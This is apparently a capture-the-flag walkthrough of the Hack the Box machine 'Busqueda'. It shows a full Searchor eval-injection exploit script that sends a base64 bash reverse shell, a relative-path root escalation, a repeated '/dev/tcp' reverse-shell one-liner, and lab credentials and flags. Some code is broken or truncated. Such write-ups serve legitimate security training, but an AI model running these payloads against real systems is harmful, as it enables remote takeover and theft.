Busqueda (Hack the Box)

Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user’s Gitea account. Further analysis of the system checkup script’s source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges.1

Busqueda (Hack the Box)

Difficulty: easy

User Flag: 117c6186402839607f9ee81028b04f09

Root Flag: 2ba2fe076ce54528eb9ed736e05fb7c1


# nmap -p 22,80 -sC -sV -oN tcp_22_80_scan.nmap
Starting Nmap 7.93 ( ) at 2023-05-28 12:06 EDT
Nmap scan report for searcher.htb (
Host is up (0.014s latency).

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Foothold

80 - HTTP

Append searcher.htb to /etc/hosts

# curl -I http://searcher.htb
HTTP/1.1 200 OK
Date: Sun, 28 May 2023 16:10:13 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 13519

The web application is hosted on a Werkzeug server and running Searchor 2.4.0 which is vulnerable to a CLI eval injection in Python. This information can be found from the patch notes and the code diffs in Searchor’s git repo for 2.4.2.

Below is a valid exploit for this vulnerability:

#!/bin/bash -

rev_shell_b64=$(echo -ne "bash  -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"

echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"

if [ -z "${evil_cmd##*$plus*}" ]
    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')

if [ $# -ne 0 ]
    echo "[*] Input target is $1"
    echo "[*] Input attacker is $2:${port}"
    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example: 

./ <TARGET> <ATTACKER> <PORT> [9001 by default]"

No changes need to be made to the exploit code. Download the code, append the execute permissions bit chmod +x, start a netcat listener, and run the exploit code to catch the reverse shell …

as the svc user. With shell as a lower privileged user, time to enumerate the system for any privesc vectors!

Privilege Escalation

Git Config

The Apache web server config contains another vhost.

svc@busqueda:~$ cat /etc/apache2/sites-available/000-default.conf 
<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName searcher.htb
        ServerAdmin [email protected]
        ProxyPass /
        ProxyPassReverse /

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^searcher.htb$
        RewriteRule /.* http://searcher.htb/ [R]

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined


<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName gitea.searcher.htb
        ServerAdmin [email protected]
        ProxyPass /
        ProxyPassReverse /

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined


# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

Listing the listening ports on the host

svc@busqueda:~$ ss -tuln

Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                                                                                          
udp   UNCONN 0      0*                                                                                                    
udp   UNCONN 0      0  *                                                                                                    
tcp   LISTEN 0      4096*                                                                                                    
tcp   LISTEN 0      128*                                     
tcp   LISTEN 0      4096*                                                                
tcp   LISTEN 0      4096*                                                                
tcp   LISTEN 0      128*                                                                
tcp   LISTEN 0      4096*                                                                
tcp   LISTEN 0      4096*                                                                
tcp   LISTEN 0      511                *:80               *:*                                                                
tcp   LISTEN 0      128             [::]:22            [::]:*

Two services listening on ports 3000 and 5000 which Apache is proxying the requests to. Since there’s a Gitea service listening on port 3000, there may be git configuration stored in the .gitconfig file.

svc@busqueda:~$ cat ~/.gitconfig 
        email = [email protected]
        name = cody
        hooksPath = no-hooks

Nothing here but there is a .git folder located in /var/www/app. The config file there does contain sensitive information …

svc@busqueda:/var/www/app$ cat .git/config 
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:[email protected]/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

There is a configured password for cody to the Gitea server which also is the password for the system svc account.

Sudo Privileges

svc@busqueda:/var/www/app$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/ *

svc can run the command /usr/bin/python3 /opt/scripts/ * as root.

svc@busqueda:/var/www/app$ ls -la /opt/scripts
ls -la /opt/scripts
total 28
drwxr-xr-x 3 root root 4096 Dec 24  2022 .
drwxr-xr-x 4 root root 4096 Mar  1  2023 ..
-rwx--x--x 1 root root  586 Dec 24  2022
-rwx--x--x 1 root root  857 Dec 24  2022
drwxr-x--- 8 root root 4096 Apr  3  2023 .git
-rwx--x--x 1 root root 3346 Dec 24  2022
-rwx--x--x 1 root root 1903 Dec 24  2022

svc can’t read the contents of the file but can execute it.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ -h
Usage: /opt/scripts/ <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

The script will run three different actions, two of which are system commands (docker-ps, docker-inspect), and the third matching the script in the /opt/scripts directory.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS             PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   4 months ago   Up About an hour>3000/tcp,>22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   4 months ago   Up About an hour>3306/tcp, 33060/tcp               mysql_db

docker-ps will list the running containers and docker-inspect should list the details of a container including any environment variables. Since there is a gitea and a MySQL container running, there might be environment variable secrets in one of these containers.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ docker-inspect
Usage: /opt/scripts/ docker-inspect <format> <container_name>

The docker-inspect action requires a format argument and container name.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ docker-inspect "{{json .Config.Env}}" gitea | jq .
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ docker-inspect "{{json .Config.Env}}" mysql_db | jq .

MySQL Access

Authenticating to the MySQL instance with the gitea:jI86kGUuj87guWr3RyF credentials into the mysql instance and dumping the users table in the gitea database, there is an adminstrator user alongside cody for the Gitea server.

svc@busqueda:/var/www/app$ mysql -h -u root -pjI86kGUuj87guWr3RyF gitea
mysql> select email from user;
| email                            |
| [email protected] |
| [email protected]          |
2 rows in set (0.00 sec)

Gitea Access and Source Code

Once logged into the Gitea server with the administrator account and the Gitea MySQL database password administrator:yuiu1hoiu4i5ho1uh, the scripts found earlier can be read in their entirety.

Viewing the snippet of code in for the full-checkup script,

    elif action == 'full-checkup':
            arg_list = ['./']
            print('[+] Done!')
            print('Something went wrong')

This script can be ran from the /opt/scripts directory since it is looking for the script using a relative path.

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/ full-checkup
[=] Docker conteainers
  "/gitea": "running"
  "/mysql_db": "running"

[=] Docker port mappings
  "22/tcp": [
      "HostIp": "",
      "HostPort": "222"
  "3000/tcp": [
      "HostIp": "",
      "HostPort": "3000"

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
│ 0   │ app    │ default     │ N/A     │ fork    │ 1438     │ 111m   │ 0    │ online    │ 0%       │ 30.2mb   │ svc      │ disabled │

[+] Done!

RCE as root

The script runs!

Thinking about this though, the script ran with the full-checkup argument runs the script … but from the current directory. If there is a script located elsewhere, the user will have arbitrary command execution as root.

With the following reverse shell payload script and a netcat listener spun up, running the previous command will send a shell to the attack box.


bash -c "bash -i >&/dev/tcp/<IP>/4444 0>&1"

With root, there is full shell access!


A reflection of what was learned through this box.

Useful Commands

Bash Reverse Shell: bash -c "bash -i >&/dev/tcp/<IP>/4444 0>&1"

Connect to a MySQL server and select a database: mysql -h -u root -pjI86kGUuj87guWr3RyF gitea

Inspect environment variables of Docker container: docker-inspect "{{json .Config.Env}}" gitea

Killchain Summary

  1. Public exploit for a Python module (Searchor 2.4.0) with a CLI eval injection vulnerability
  2. Find password for a lower privilege system account in a Git config file
  3. The service account user can execute a system checkup script for the services with root privileges
  4. Enumerate environment variables of Docker services with additional credentials
  5. Use the credentials to authenticate to the Gitea server as an administrator and view the source code for all scripts
  6. The system checkup script runs a full checkup script as well using a relative path which can be abused for RCE as root


Some misconfigurations on this host that led us to have root access:

  • not using updated versions of open source modules
  • saving credentials in world-readable files
  • reusing credentials for system accounts
  • enabling a lower privileged user to execute system commands that can leak sensitive information
  • using a relative path in a script that has root privileges

Summary of Exploit(s)

The exploit used takes advantage of an eval code injection vulnerability. The snippet of code that contains the vulnerability:

def search(engine, query, open, copy):
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
        if copy:
            click.echo("link copied to clipboard")
    except AttributeError:
        print("engine not recognized")

The function will accept two required arguments through the web application, engine and query. Since the engine is an attribute of the Engine class, the injection point will be in the query parameter.

If the engine is Google and the query is '), __import__("os").getcwd()" #, this will be executed as f"''), __import__("os").getcwd()" #', copy_url={copy}, open_web={open})"

The eval function will execute the entire string (''), __import__("os").getcwd()) and the return will be a tuple with the result of both commands. Finally, the rest of the string in the eval call is ignored due to the #.

With the injection point, an arbitrary payload can be used. The exploit used a base64 encoded reverse shell payload that led to system access as the svc user.


This was a fun easy difficulty box that involved exploiting a Python eval injection vulnerability and a relative path reference leading to RCE as root. Although I used an already existing exploit, I think I could have written the exploit myself. With the source code as well as the patch notes on Github, this was very doable even with limited exploit development experience.

Overall, this box was well-done and seems realistic enough that an administrator would configure it in the same way for a production system.